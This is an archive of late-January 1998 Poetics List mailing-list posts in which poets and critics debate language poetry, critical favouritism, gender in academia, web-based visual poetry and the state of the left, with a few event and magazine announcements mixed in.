> *In my view, writers like Lyn Hejinian, Carla Harryman, and Leslie Scalapio are far more true to the "tenets" of langpo that have to do with "socialist" approaches to writing--writing as participation in the sociopolitical, rather than as glorification of the individual through the lyrical display of sensitivity and accumen.*

Lots of acumen in these three writers, not so much lyric in RS I think.

all best and adios,
Keith

↑ Index

938. **Harold Rhenisch**
disagreement
Wed 28 Jan 1998

I have to disagree

↑ Index

939. **Thomas Bell**
Re: Material/Physical
Wed 28 Jan 1998

Why stop there?

solve et coagula: 'solve et coagula is primarily an attempt to give
birth to a new life form: half digital, half organic.
http://www.gar.no/sec/secconcept.html

At 09:27 AM 1/28/98 -0500, Jacques Debrot wrote:
>Am I alone in thinking that the term "materiality" is often used in too
>reductive a sense? Koestler once made the telling point that in a cosmos
>where sub atomic particles go forward and backward in time, where light is
>both a particle & wave, that "material" is something almost imaginary.
>

>The distinction between physicality & materiality -- quite apart from the
>context of visual poetics, or how the body/language divide was played by the
>New Americans & the Language poets -- seems very suggestive to me. An es-
say
>of John Yau's has been kicking around in my head for a couple of days in
>which he speaks of a type of artistic *scale* for which "the determing factor
>was the human body, not as something that could embrace an immense vista
or
>chart a seemingly unlimited expanse, but as something contingent, doubtful,
>and questioning . . . Is it possible," he asks, "to privlege neither body
>(seeing, hearing, touching, tasting, and smelling) nor mind (remembering,
>conceiving, and dreaming) and still make art?" This seems relevant to poetry
>as well, & suggestive somehow of a kind of constantly shifting perception of
>the physical & material without the binarism that frequently occurs in LangPo
>& the New American poetry.
>
>

tom bell

↑ Index

940. William Burmeister Prod
Re: Perloff debate
Wed 28 Jan 1998

A late chime in but nevertheless here gores:

> *naive faith*
> *in the idea of rugged individualism with the quaint phrase "standing on*
> *his own 2 feet." Show me, please, the person who has lived that has done*
> *this and I'll forthwith eat my Bronco jersey. There ain't no such*
> *animal, old chum.*

If at any moment one examines the act of creation of the poem and applies the uncertainty principle then yes, Otherwise... The very act of observation in this case disturbing the experiment is the only justification for the above statement.

> *Here we are, engaged in this electronic medium of*
> *debate and exchange, subscribing to the attempt to foster a new*
> *expression of poetic community, and against this appears the goofy idea*
> *- the queer utopian notion - of trying to peddle the indefiddle as*
> *Island*

Oh what's the difference: an infinity of island individuals or an infinity of poetic communities (happening now;always will)? Only an economy of scale. And thanks for that too. The only recourse in a society that abhors schools of

thought and clings to a false idea of individualism, which has been bastardized with a materialist conformism, is "rugged individualism." Note that it is only rugged because this individual suffers terribly at his/her own hands where there is much wringing of hands and gnashing of teeth, and not because there is an eschewing of poetic influence.

> *In my experience, people who proffer the bootstrap theory have very little real world experience and by that I mean, mixing it up with the brethern in the business world, the money world, the school world, the so-called professional world, that is, the world of compromise and action of which the field of cultural production is but a part. If they're at all successful, count on a field of unmarked (i.e. unacknowledged) graves -*

Either way there is a field of unmarked graves. Only in the world of institutionalized poetry (of which almost no one on this list appears to be a part of), there is no tomb of the unknown poet. On this list, we see do see tombs of unknown poets (or memorials) that are as eloquent as stones placed on a mere mound of dirt. And curious the appearence of *action* in this context. Check out Federico Garcia Lorca's thought on this (and Americans) in "A Poet in New York." Essentially, the American idea of action didn't shuck and jive very well with that of the Andalusian poet (and I agree with the latter). I mean the (north) American idea of action (in the context of the real world of business, money, po-business, etc) is impoverished spiritually, and is little more than action for action sake. Lorca said that the busy upwardly mobile New York types didn't have to "fight" for what they believed in (that they didn't internalize the struggle). So it was that they were living someone elses life and speaking with someone elses words. Given that non-idea of action, I choose against action, which although it may sound like an old, worn out poetic impulse, it is timeless as such. This doesn't mean that I am going to quit my job, but that my soul is not for sale (or compromise).

William Burmeister

Was actually waiting to see if this would become another discussion of individuality vs the collective (or something like that). Almost did there.

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941. **Henry Gould**
(no subject)
Wed 28 Jan 1998

On Wed, 28 Jan 1998 14:26:00 -0600 pritchpa said:
>Oh Henry. Or should I say, "Oh Dr. Lydgate." Or better still, "Oh
>Dorothea." This has gotten boring. Let's both try to calm down. Thing is

>I don't disagree with any of what you're saying about why one writes a
>poem - that's all rather Obvious - I just find the way you say it
>pompous and self-promoting - the very things you seem to be inveighing
>against so vehemently. If there's a poet or critic on this List who
>doesn't write "for luv" let him or her stand up now..... You see anyone?
>I don't. But if you want to keep tilting at that windmill then by all
>means, go ahead.

Patrick, I'm really glad you agree with me. You began by scoffing at the idea that a writer might have a personal stake in originality or self- respect that might possibly be threatened by nepotism, back-scratching, the buddy system, groups in general; you thought it was naive that these things might influence the scene. But you've come around - that's the main thing, and I don't give a flying buffalo chip what you think of my style. Pax. I'm a pompous hypocrite - a list hog - so be it. The main thing is, you've come around. I'm surprised others haven't said what you've said more often - I think it's because everybody on the list is really nice (except for me & maybe that Bowering guy down in Canada). Self-serving - that's the least of it! Nobody ever knows, much less tells, the whole truth. The truth is I MARRIED into poetry, REMARRIED WAY OUT of poetry, and have been having poetic affairs (or trying to) IN poetry ever since! It's worse than Plath-Hughes, only the writing's better & nobody's died yet (me & Berryman just counted the other day). Ask Gwyn or Susan - they've actually read my stuff. (Gwyn - don't say anything before consulting my lawyer - let me give you his # - 612-000-00hh - he's that bearded guy in the lumberjack shirt & fur hat - Wayne McCornhusk - you've seen him on TV). Probably it's familiar already to 8% of the younger generation and 53% of the older generation, but it makes a helluva narrative, Dale. - Henry Gould (more creepily personal than ever!)

↑ Index

942. **Henry Gould**
Re: pumping poetry
Wed 28 Jan 1998

On Wed, 28 Jan 1998 14:50:31 -0600 MAYHEW said:
>
>The point is not that poets should feel grateful for critics who promote
>their work, but that it is unrealistic to expect them not to. From what
>purist position does the charge of nepotism spring?

Sorry about the Joseph, Jonathan.

Keith Tuma's (& Steve Evans's) perspective on the diminishing support for poetry (how far can it drop?) makes this whole debate seem absurd & solipsistic.

Along with KL, GS, and many others' contributions to reality, specifics, & what's out there.

All this I grant. Now I'll address your question.

The purist position I maintain is that poets themselves should judge what meets their standards - both in their own writing and in the contemporary scene. And that there are powerful (relatively speaking) people willing & able to talk ABOUT poetry (critics, scholars, writing teachers, program directors, journalists, even a few poets - especially on the Poetics List - especially ones whose names start with H) ad infinitum and ad nauseam. By powerful I mean able to set syllabi, award grants, publish reviews, advise on careers, organize anthologies, and so forth.

So? you say. What do you expect? Look at all these people interested in poetry - ready to talk about it! Shouldn't we be grateful? Or as you say - accept reality - stop being paranoid? Bitter? Jealous, maybe?

No. I will maintain against all comers: for the makers of poetry, all that - all the po-biz - is nothing but pure, total, stinking bullshit. Because in the making of the poem - in the arena of composition, where I began this whole thread - anything smacking of P.R., officaldom, status, laurels, power, criticism, scholarship, imitation, reward, theory, tradition, expectation, desire, ambition, calculation, professionalism, money, connections, savvy, guile, cronyism, prestige, politics, apprenticeship, nepotism, deals, friends, gossip (anything, actually, other than death or taxes) is - or it better be - irrelevant, or the poem is fake, DOA. And don't tell me those things aren't out there. I'm not THAT unrealistic. And pardon me: I write poems. I know just, just how abject that sounds to every certified tenured intellectual. The funny thing is they're not going to get it; they don't MAKE poems. - Henry Gould

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943. Karen and Trevor

Fourteen Hills Fall/Winter 1997

Wed 28 Jan 1998

Announcing the publication of the Fall/Winter 1997 issue of _Fourteen Hills: The SFSU Review_ featuring a conversation with Dorothy Allison.

Poetry by: Laynie Browne, Tom Clark, Aja Couchois Duncan, Lawrence Ferlinghetti, Amy Gerstler, Sherlyn Jimenez, Mark Latiner, Toni Mirosevich, Emily Murphy, Shelia E. Murphy, Sianne Ngai, Naomi Shihab Nye, Eugene Ostashevsky, Jocelyn Saidenberg & Brian Strang, Ron Silliman, Gustaf Sobin, Kristine Somerville, Elizabeth Treadwell, and Eric Zuckerman.

Fiction by: Adrian Baker, Dodie Bellamy, Elsa Dixon, Jahmae Harris, Gordon Lish, Laura Moriarty, Jay Prefontaine, Noelle Sullivan, and Marianne Villanueva.

The issue is $7 and you may order through Small Press Distribution, [redacted] or [redacted]. E-mail [redacted]

The Fourteen Hills publication celebration and reading will be on February 18 from 6-8PM at The Poetry Center at San Francisco State University. Come, eat, drink, and hear great readings!

Questions? Call us! [redacted] Or write:
Fourteen Hills
Creative Writing Department
San Francisco State University
1600 Holloway Ave
San Francisco, CA 94132

[redacted]

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944. david bromige
hypocrisy in the young, originality in the old
Thu 29 Jan 1998

i just felt like saying that.

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945. Juliana Spahr
maria's questions
Thu 29 Jan 1998

This is reductive and I'm not complaining (yet). This is just a gander at a factual answer.

I feel like Maria's questions are because most of the criticism tends to be about male writers or tends to define the scene so as to give more attention to the male writers. And as a critic you, Maria, read the critical books and saw mainly men. Think about it: Hartley, Nealon, Altieri, Conte, McHale, Monroe. (Perloff's work is some sort of exception here and things are changing some--Perelman's book might show some evidence of this.) It is not that these people don't talk about women writers but just that more time has been spent defining various poetries as products of male agency. (The story that L=A=N=G started the movement; the story that "I HATE SPEECH" started the movement; the story that Kit Robinson and Bob Perelman were doing some typing one day: these are

all stories that place men as active agents; the parallel stories that Hejinian was doing Tuumba and that Scalapino was doing O and Fraser was doing However have not been written as much.)

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946. Henry Gould
no subject - the subject
Thu 29 Jan 1998

I am afraid that in the wee hours of the haunted night I have not articulated my defense with the adequacy it deserves (besides, I was drawn away from work on my 632-line ODE TO A SALTY TARMAC BY THE SEA, in loose petroglyghs).

Jonathan Mayhew is correct, the charge of "nepotism" against critics who promote living artists is without merit. Let's use a different word: corruption. The critic who adds careerism and favoritism to the work of criticism is corrupting literary values for everyone. If I could, I would symbolically cleanse the temple of the moneychangers. To critics or poets who feel uneasy with the extremity (or perhaps obviousness?) of this position, let me set your mind at ease: all I'm saying is, do your job. Unless enthusiasm, gusto, interest, admiration and so forth are tempered with dispassionate judgement, the critic is NOT doing the job. Just give me an independent critic, that's all I ask. There must be a couple of them out there. The rest is a circus, a joke, a mirage, a distortion, ersatz. That's what I've been saying all along.

Careerism & favoritism have their influence on the general audience for poetry. But what got me started on this is the danger of careerism, literary politics, and favoritism on the actual practice of making poetry. Every poet who cherishes their own work - takes what they're doing seriously - walks an imaginary tightrope with every line. Every line is the next step forward in a total project. Not everyone will agree, but for me this is partly what lineation, concision, and rhythm are about. I said it best in a poem written over 15 years ago called "Hieroglyph", the last stanza of which I will take the liberty to quote:

And it was only later, as we watched
his dry wooden boat slip underground,
that we understood the clean framing
of intention, the straight crossbeams
of its execution, that house of his
a kind of sounding board for praise.
Working across the tightrope of the
roofline was his way of walking on air.

If critics took their own work as seriously as some poets take theirs, maybe the audience out there would take poetry more seriously too.

- Henry Gould

(o.k., "embattled, marginalized, avant-garde" scholar-poet-critics out there, tell me about how it's "all means necessary" in this great battle, and we have to do more than simply read, listen, study, and state our case... & I'll go floss now... send me the conference minutes, please...)

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947. **Maria Damon**
Re: Response to Maria's Question
Thu 29 Jan 1998

At 12:33 PM -0500 1/28/98, Gary Sullivan wrote:
>Hello, Maria:
>
...
So, in answer to your question, more questions: Do
>you find academia to be largely male-driven or -informed?

yes.

Do you find women to be resistant to it, or hesitant to participate in its culture?

hard to generalize; i think it has as much to do with life opportunities, formal and informal support systems (the "oldboy network" etc), and traditionally gendered divisions of labor (a heterosexual couple meets in a doctoral program; the guy's "career" progresses as the woman's gets put on hold as she does the childcare, or she takes a job as an adjunct; admittedly this follows an older model than is now followed, but it marked the academy just earlier enough so that those guys are now full professors and in administrative positions; it'll take another 10 years or so before they retire, and of course, the gov't waived the mandatory retirement age for academics a few years ago) --as with preferences. of course there are plenty of people who want nothing to do w/ academia, both men and women --as a choice. but it's also true that there's a funneling that goes on; lots of women in masters' programs, mfa programs, etc, fewer in phd programs, tho often more than half of an incoming class will be women; fewer still graduate w/ their doctorates; fewer still get tenure-track jobs. both men and women have every reason to be disgusted by academia, but how is it slimier than, say, the corporate world, or the world of heterosexual reproduction, or the public service sector --none of these is mutually exclusive of course but one finds one's energies weighted toward one or the other.

I can't tell
>from here. My e-address is Columbia, but as you know, I'm merely an office
>worker, & don't participate much with anything/anyone here, save the friendly

>people at Butler Library. There are, though, I do notice, many more male
>history professors in the department than female. There are many more men
>posting to this list than women, & I assume that to mean more male access to
>e-mail, & a lot of that seems to be guys working in or attending universities.
>(Mostly w/more significant roles than mine ((office grunt)).)

yes, see above comment. i think there's a funneling effect; there're probly
plenty of women students, but as you go up the ranks, there are fewer.
needless to say this isn't only true for white chicks like myself, in fact
we are more represented in the upper reaches of academe than people of
color of any gender. the conference where i saw retallack and du plessis
featured only one speaker of color (male) and among the couple of hundred
registrants, i think 3 or 4 people of color.
>
>Maria, you are that rare tenured academic whose energies are divided be-
tween
>the filter of the academy and the thing under the microscope--you've not only
>brought out poets to read at UMN, but have collaborated with Miekal And, &
>published creative as well as lit crit writings. My sense--and please tell me
>I'm wrong if I am--is that this hasn't always been the case, that your move to
>find some confluence between both has been tenuous, gradual. So that, a
decade
>or so ago, while going to Stanford, you didn't participate with the living
>activity taking place an hour or so north of you, but now, you seem very much
>involved in what's taking place among writers not only in Minneapolis, but
>elsewhere as well.

this is true in a way, with reference to this particular scene. i did take
workshops with levertov et al down at stanford, and picked people to be on
my doctoral committee who would let me do what i wanted --i.e. write as
luridly and lyrically as i do given the constraints of academic writing.
in general my slowness to be out as a "writer" has more to do with
self-consciousness and self-protectiveness; for example, i would never be
doing the collaboration w/ miekal except that *he* suggested it; i would
never have participated in the rengas that ran rampant here if i'd thought
of them as "serious" writing. which in my case does have to do w/ gender,
but inflected somewhat differently from the above discussion.
>

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948. **Maria Damon**
Re: next week at Small Press Traffic
Thu 29 Jan 1998

---

shucks, wish i cd be there!

At 3:50 PM -0800 1/28/98, [redacted] wrote:
>Small Press Traffic presents:
>
>Thursday, February 5, 7:30 p.m.
>
>"Fragments Of A Disorderd Devotion":
>Robert Duncan's Legacy Today
>
>Norma Cole, Michael Davidson, Diane di Prima, Robert Glück, Barbara Guest,
>Thom Gunn, Fran Herndon, Susan Howe, Nataniel Mackey, Michael McClure,
>Duncan McNaughton, Michael Palmer, Jerome Rothenberg, Aaron Shurin,
Mary
>Margaret Sloan, David Levi Strauss, Susan Thackrey and others
>
>Robert Duncan, who died ten years ago on this very date, is the subject of
>our gala reading at the New College Theater, the very site where he so
>often spoke himself as director of the Poetics Program. These are walls
>haunted by a great spirit! This event--organized by Norma Cole, Michael
>Palmer and Susan Thackrey--celebrates the life and work of Robert Duncan,
>and his influence on poetry and poetics today. Duncan (1919-1988) was an
>arts activist, political organizer, teacher, editor, theorist, early gay
>liberationist, critic, typist, rebel, playwright, controversialist,
>neuromancer, art writer, "Black Mountaineer," visual artist, essayist,
>publisher, aesthete, dandy, conscience and wizard. He was one of the
>architects of the Berkeley Renaissance, the Poetry Center at San Francisco
>State University, the "San Francisco Renaissance," the "New American
>Poetry," the Berkeley Poetry Conference of 1965, and the Poetics Program at
>New College. Above all he was one of the towering poets of the 20th
>Century. His major books, still in print, include _The Opening of the
>Field, Bending the Bow, Roots and Branches_, and two volumes of _Ground
>Work_. Tonight some of his friends, admirers, students, and others with a
>"disorderd devotion" to RD read from his work in celebration of a great
>American legacy. Expect surprises!
>
>New College Theater
>777 Valencia Street
>$5

>
>----------
>

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949. **Maria Damon**
Re: Originality in the young, hypocritical stance of the old, machismo
Thu 29 Jan 1998

laura moriarty writes:
...
>

> *I think there is an interesting difference here and one that is not only along gender lines -*

can you say more about this, laura?--m
>

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950. **rsillima**
Old Poets Home
Thu 29 Jan 1998

At home today with pneumonia (a relapse), I feel nearly as old as Katy Lederer makes me sound. (Having broken a rib coughing makes it worse -- try not to be funny for awhile, folks, cause it hurts to laugh.)

I'm intrigued at the responses I've gotten to that "prod" (more a nudge of the elbow than the cattle model, thank you) as well as to variant, almost parallel discourses hereabouts re visual poetry and the questions of academic and/or pedagogic styles that have been swirling hereabouts.

Here are some thoughts from the rocking chair of the Home for Not Yet Retired Poets:

Jeff Derksen made the point during our shared talk at the Writers House that the larger sense of writing as a project that so many of us old fart langpods seem to have had may have been a direct (or indirect) relation to our experiences vis a vis the Vietnam War -- and, as I've noted elsewhere, language poetry (so called so called), is indeed unimaginable without Vietnam (every male poet, for example, had the direct experience of their government trying to get them killed for several years, for no intelligible reason whatsoever). The idea of a poetry that could change the world (however much hubris may have been

involved) was a direct consequence of a world that need very much to change just to survive.

What is missing today, Jeff either suggested or else made evident through implication -- I've not seen a transcript -- may be the social condition as such. The social precondition, literally. There is no such social fact as the Vietnam conflict now (and the alternatives, global warming, the Gulf War [and redux], or the crisis of Clinton's pants, show precisely the gap). To expect contemporary young poets to come up with a larger Project in a social vaccuum is an unfair expectation.

I'm ready to buy a fair portion of that argument. It resonates, as they say.

Here I think the collapse of the American (and European) left post the fall of Communism, big C, is very worth considering. For decades, many on the left (me among them) had been saying that the biggest impediment to the advance of the left was the presence of those various Stalinoid states. Now they go away and instead of a renaissance of western left discourse, we get nearly total silence, combined with a little confused muttering.

Now it may be that we are simply in the midst of a breath, a pause, as the left listens finally to the silence left in the wake of the old Eastern Bloc, and that after an appropriate period (10, 20 years?), it will take up again, now freed from the constraints of those perverse but "actually existing" examples.

Obviously, such a discourse will have some specific tasks that are already clear:

To account for the problem of Stalinism and socialism-in-one-nation

To account for the problem of totalitarianism, per se

To explain how Marxism's explanatory capacity gives way to the problem that Marx envision "one world" at least two centuries too soon -- and thus during an industrial capitalist phase, when ultimately if it ever shows up (and it may not, since it offers so much to the powers that be to keep it from happening) it will be in a virtual or post-virtual world

To reexamine the problem of the nation as such (followed by classes, races, gender)

To reexamine the possibility of discourse to impact the world under such circumstances. (It is in this light that I am looking closely these days at Steve Johnson's application of Althusser to the internet via his book and the mag Feed, plus Manuel Castell's books on the information society, very very closely.)

To reexamine what liberatory movements might then look like, and the relationship of poetry thereto.

Just for starters.

I'm sorry if Ms. Lederer feels that the approach I've taken is ageist and intellectualist (this is a new one). A lot of poets simply don't read younger writers or, if they do, seem to make relatively little out of what they read. My goal is to take younger writers absolutely seriously and to make demands of them exactly as I do my peers (viz my comments to Bob Perelman re his book published in the ILS issue devoted thereto) and my elders. I feel certain that there will be those who not only rise to what I imagine to be the occasion, but who completely surprise me and force me to rethink and redefine the terms of the entire situation. That's what I'm waiting anxiously to read.

As for my "stature," at a little under five foot ten, I am at least taller than Paul Blackburn was by several inches. But compared with Olson or Kit Robinson, this is an index that makes me nervous...

Ron Silliman

↑ Index

951. William Marsh

Re: Part III, fri. po wars, digr on www vs. print

Thu 29 Jan 1998

---

tom bell quotes:

> *from e-correspondence with Ted Warnell, quoted with permission:*
>
> *"About a current fascination with new and glitz... I agree with your evaluation of 'art on the Web' at this time, and I see this as a natural and necessary stage in the development of the Web as creative medium/media. We all go through it at the start -- a need to explore and experiment with the medium to see what it can do, what we can do with it. This is how I view much of the 'art' currently on the Web, (including much of the work of Poem by Nari), more a technical exercise than an aesthetic expression. Eventually, of course, we get past all of this, and then begin to work *in* the medium (or the media that is the Web). I am seeing more of this now -- aesthetics beyond the technical. I see it in your work -- Winter is decidedly not glitzy. The use of hand drawn material brings a very personal/human touch to this work (takes the viewer beyond a purely digital reference) -- my perception -- is this your intention?*

important point here, tom, and one which i agree with / with much web art out there today, i often can't get past the "spectacle", a term which seemed to have a lot of bearing in critical discussions of kinetic art in the 60's / i agree that here we are (again) exploring new technical possibilities in art / "aesthetics beyond the technical" is the challenge both for theory and in practice / perhaps beginning with a trace of praxis in visual-kinetic art in mid and late-mid century

and investigating how web-sculpting moves out of and beyond that / also the legacy of visual-concrete / an interesting nexus or convergence, which to me takes on new meaning in the visual-textual space of the computer: both static and kinetic / motile...

bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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952. **dbkk**
the older gals
Thu 29 Jan 1998

Gary Sullivan (hi Gary!) wrote:

> *Talisman also has planned, I think, an anthology of women poets, probably concentrating on 40s & upwards--though I have no details on that one, either.)*

That's _Moving Borders: 25 Years of Innovative Writing by Women,_ edited by Mary Margaret Sloan. A huge book. I believe it starts with Niedecker and works its way up to Lisa Robertson--and contains essays as well as "work." It will be out in March. Small Press Traffic will be having a big book party for it Thursday April 9.

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953. **William Marsh**
Re: Explosive Magazine #4 is available
Thu 29 Jan 1998

Katherine

put me down for one! / send it along to address below and the check will cross in the mail (lest you need $ up front) / haven't seen your mag yet, but looking forward

all best,
bill marsh

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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954. **William Marsh**
Re: Material/Physical
Thu 29 Jan 1998

At 05:22 PM 1/28/98 -0500, you wrote:
>What was poststructuralism if not a kind of quantum linguistics?

i like that / conversely, wasn't all of quantum mechanics predicated on Blake's "Jerusalem"?

bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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955. Christopher Reiner
Gentle Instructor
Thu 29 Jan 1998

Hmmm. I guess I spoke too soon about the problems with the litpress internet server being solved. Apologies to those who tried and couldn't get through, and thanks to those who wrote to let me know.

When it's up again, I'll let you know.

--Chris R.

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956. Joseph Conte
Re: Grumman re-contextualizes
Thu 29 Jan 1998

Thanks are in order to Bob Grumman--at the expense of bandwidth--for recontextualizing his comments and my writing as it was cross-posted to this list. I did say "some" poets working in aural/visual media c. 1988 (when I wrote the quoted passage), and though I had specific authors in mind, I won't provide examples now, as then.

J. Spahr forwarded a critique from the ever-worthy CAP-L in which I was pilloried for not having an appreciation of Web-based poetics. But the graphical interface for the Internet being nary five years old (as Loss Glazier can confirm), I apologize for not being prescient about it ten years ago.

In fact I'll be working with hypertext poetries and the EPC in a course on Multimedia Literature next fall.

It's already a commonplace about discussion-list traffic that statements ripped from their context are frequently misinterpreted.

Joseph Conte
--

Joseph M. Conte [redacted] x1009
Associate Professor and FAX: [redacted]
Director of Graduate Studies
Department of English
306 Clemens Hall
SUNY at Buffalo
Buffalo, NY 14260-4610 http://writing.upenn.edu/~jconte/

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957. **Miekal And**
Re: Grumman re-contextualizes
Thu 29 Jan 1998

what's CAP-L?

↑ Index

958. **David Israel**
non-viz
Thu 29 Jan 1998

Here in lurk-&-skim mode betimes, all the tawk of fizpo -- or rather vizpo -- could make one hanker for invisible po, maybe a synonym for the legendary wordless stuff that, alas, nobody has recited in my hearing or to my certain comprehansion.

However, am thinking it might go something like this:

[darkarkarkarkark]

(or maybe nyet)

d.i.

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959. **k. lederer**
Re: The Key Club, Apologies to Tuma--
Thu 29 Jan 1998

On Sat, 24 Jan 1998, KENT JOHNSON wrote:

> Is it possible that the generational anxiety vis a vis
> Language writing expressed by Mark Wallace, Steve Evans, and other
> impressively smart writers is the logical and inevitable result of
> younger poets trying to be "new" through an overly narrow reliance on
> _method_? While I ask this question tentatively (because I am not
> exactly steeped in the young turk critics), my sense from
> perusing the discussion is that this could be at the heart of the
> "problem".
>
> How so? Young "post-Language" poets, like those represented in the
> anthology of Joseph Donohue, Ed Foster, and Leonard Schwartz (I'm
> sorry, I presently can't recall the title), are certainly wonderfully
> various and talented, and many of them will go on to be widely
> published and successful. But insofar as that young group (despite
> protestations) seems increasingly to Language writing as

> the Key Club is to Kiwanis, might it be due to this: that the horizon
> of poetic "experiment" and "originality" for this generational group
> is delimited by a deeply-ingrained set of institutional laws and
> protocols which (subliminally, for the most part) reduce and relegate
> aesthetic resistance to the printed page, that is, to strictly
> compositional method? The Key Club, to put it another way, puts
> itself in the position of polishing, tweaking, and refining
> paratactic, asyndetic, and juxtapositional frames of expression
> without any apparent thought to a sustained exploration of
> _conceptual displacements_ of institutionalized categories of
> authorship and the circulation of works.
>
> This is sort of what I meant in my Hurrah post with my perhaps unfair
> reference to the young post-Language poet with conference name tag
> caught between two mirrors. It's also what I menat by my reference to
> Smithson's conceptualism, which is so powerful because it is at least
> a provisional move beyond--and "laying bare" of--the "museum." The
> Key Club, you might say, is still on guided tour inside the museum.
>....
> The author function is the ideological linchpin that
> theory has identified, but which 'avant-garde' oppositional creative
> practice has not yet imagined taking on."
> iconoclastic, _conceptual_ panache in new writing. What I'm saying,
> and to put it in an old fashioned way, is this: as long as the
> institutionalized mode of authorial production goes uninvestigated
> and unchallenged within the 'avant-garde' community itself, the
> poetic relations of circulation, value, and exchange within it will
> not be qualitatively transformed. The Key Club will always be the Key
> Club.
>
> The challenge, it seems to me, is pretty broad, full of multiple,
> unforseen possibilities of experiment ("Alan Sondheim," in his
> manifold incarnations and disseminations through electric space is
> one exciting example), and it is a challenge that the Language
> movement itself opened up with its insistent critiques of the "self"
> and the "I". (Now, of course, all that seems effectively dead for
> that older group: witness, for ironic example, the last issue of
> Aerial, which carries on its spine the largest font-size personal
> name in the history of poetry.)
>
> Leave them behind, young poets, to roll in the deodorized aromas of
> their own careers and names! Go forward young poets, for the day is

> young and it belongs to the young! Don't be anxious any more, for
> that is only a trick of language!
>
> Kent
>
Dear Tuma et al.,

My apologies for some of my attributions in my last message. I think that this is the post to which I was primarily responding. I just got on the list a week ago, and this was one of the first posts I received... I think almost all of the above is pretty off...

Yours,
Katy

↑ Index

960. **s. kaipa**
Re: As-Am poetics
Thu 29 Jan 1998

I was wondering if anyone has an in-depth (or even cursory) knowledge of "Asian American" (i realize the loadedness of this word and don't mean to instigate much by this kind of categorization, but . . .) experimental poets or "language" poets. Anything about this topic would be of interest to me--any names that I could try to track down or any articles written on the topic of AsAm exp/lang poets.

Thanks.

Summi

↑ Index

961. **k. lederer**
Re: Originality in the young, hypocritical stance of the old, machismo
Thu 29 Jan 1998

On January 28 Keith Tuma wrote:

> Katy--
>
> Er, older thinker here. I'm sure that Ron Silliman has a good few
> years on me. As far as I know I am not on record in any public space
> articulating any views concerning the "originality" of "young writers."
... the status of the institutional apparatus. I'd want to talk not
> just about the end of NEA funding but also about the declining cultural

> capital of poetry in the university (among other subjects). While what
> Gary Sullivan says about younger women attuned to the proclivities of this
> list finding jobs in academia seems right to me, this occurs against the
> background of diminished space for poetry (of whatever variety) in the
university...But one thing seems fairly certain for the near future:
"younger poets" have had some of the ground cut out from under them...
>
Keith:
Let me just say that I didn't meant to single you out at all--as old
or anything else. I felt like I had to name some specific sources of
current critiques of young writers (see my other message of today...
apologies.)

As per what you state above. I think this is a little bit off. Yes. Perhaps poetry has suffered a reduction in the number of faculty devoted to teaching it--but I would have to argue that this has been made up for by the incredible proliferation of college-level writing workshop and MFA programs. In the past forty years--and I think this cannot be denied--poetry has become a larger presence in the academy. Personally, as a writer, I prefer this kind of increase. Poetry is too often thought of as the stuff of the past--workshops encourage young people to actually participate in it as an artform rather than as the object of study.

* * *

Tuma:
> You'll have to alert me to where such claims have been made and with such a
> mobile definition of fascism. And what's hypocritical about saying what
> one thinks of specific younger writers? You mean that it's just not nice
> for Ron or anybody else to be critical?..... His
> criticism, even if it is dismissive, indicates at least some engagement.
> It will end up circulating the news about poets, whether or not they're
> admired by Ron. With 600+ readers on this listserv, simply mentioning or
> discussing a "young writer" would go a ways toward reaching a significant
> portion of the readers prepared at present to engage the work.

Keith--

I don't think my definition of fascism is so very mobile:

The American Heritage defines it as "A system of government marked by a totalitarian dictator, socioeconomic controls, suppression of the opposition, and usually a policy of belligerent nationalism and racism..."

A fascist is defined as: "A reactionary or dictatorial person..."

I'm not about to say that any of the langpos--or any other poets--are true fascists. But there is no question in my mind that some of them have been

belligerent.... some have the privilege of exercising socioeconomic controls etc... (not to mention any kind of prestige factor is garnering readings, good reviews etc....)

But I suppose the real issue is the work. I suppose that I may have gone off a little bit because I would practically die for some of the "young writers" working today--that I want people to keep their hands off of their work so that they can continue to write the great work that they're writing... I "need" their poems and get freaked when I feel like anything--cultural, critical, or otherwise--might get in the way of it.

Or let me put it this way. Didn't Pound once say something along the lines of "It doesn't matter who writes the great poems, as long as they are written"? It seems to me that some writers might be better off being lauded--some perhaps not--but that (and this is intuitive to a degree) criticism (publically stated) is going to preclude more "great" poems than it is going to encourage.

* * *

Tuma:>
> Well I'm told the sidewalk's ready for Ron in Hollywood. All that's left
> is for him to dip his paws in the concrete. I've never met him, but I'm
> assuming he has paws. It's early evening here today and he hasn't dipped
> his paws into this conversation.

Keith--

Again apologies for being brash. I must say that I have this attitude mainly because of things I've heard--that a number of primarily male language poets in the 70s and 80s basically drove an entire generation of young writers out of San Francisco because they were so critical of them. Etc. I believe this stuff because I hear it from people who know--and also because of the strange absence of young "experimental" poets between the ages of 35 and 45 in SF...

I do think it's terrific when more experienced writers and thinkers engage with less established minds and works--really terrific. I just question the necessity of any order of pronouncement when it lands on the head of person who has just begun to explore their potential--

All best regards,
Katy

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962. KENT JOHNSON
Silliman's rib
Thu 29 Jan 1998

Ron:

Could you post some more info re: your intriguing mention of Steve Johnson's "application of Althusser to the internet"? Title of book and some more about his mag Feed, which some of us haven't heard about?

And I'm curious: in what sense is it a pressing task that the left now "account" for Stalinism and the ways the doctrine of "socialism in one country" was used to justify that barbarous monstrosity? Trotsky wrote _The Revolution Betrayed_, which is the key work, and there's been mountains written and theorized from a Marxist angle since then. Or are you saying that history has proven Trotsky and his followers almost completely right on the question of Stalinism and that we need to read them now? Just a curious old trot here who spent a good many hours of his youth selling The Militant outside factory gates in Milwaukee...

But before anything, Ron, take care of that venerable rib. Don't forget that you are an "actually existing" (poetically speaking) Adam to many!

Kent

↑ Index

963. Henry Gould
Re: Old Poets Home
Thu 29 Jan 1998

I like Ron's Big Thinking (even though he ignores whatever I have to say about the limits of his "aesthetic"). It reminds me of Edwin Honig. I don't think Ron's as old as Ed yet. But they both think a lot about Vietnam (maybe because Edwin fought in France in WW II even though the FBI kept trying to have him recalled because since he was a Jew from Brooklyn & had been to a couple "anarchist" meetings in the 30s he was considered a Commie). Now that we're about to test our new missiles (much more accurate!) in Iraq we remember "the more tings change..."

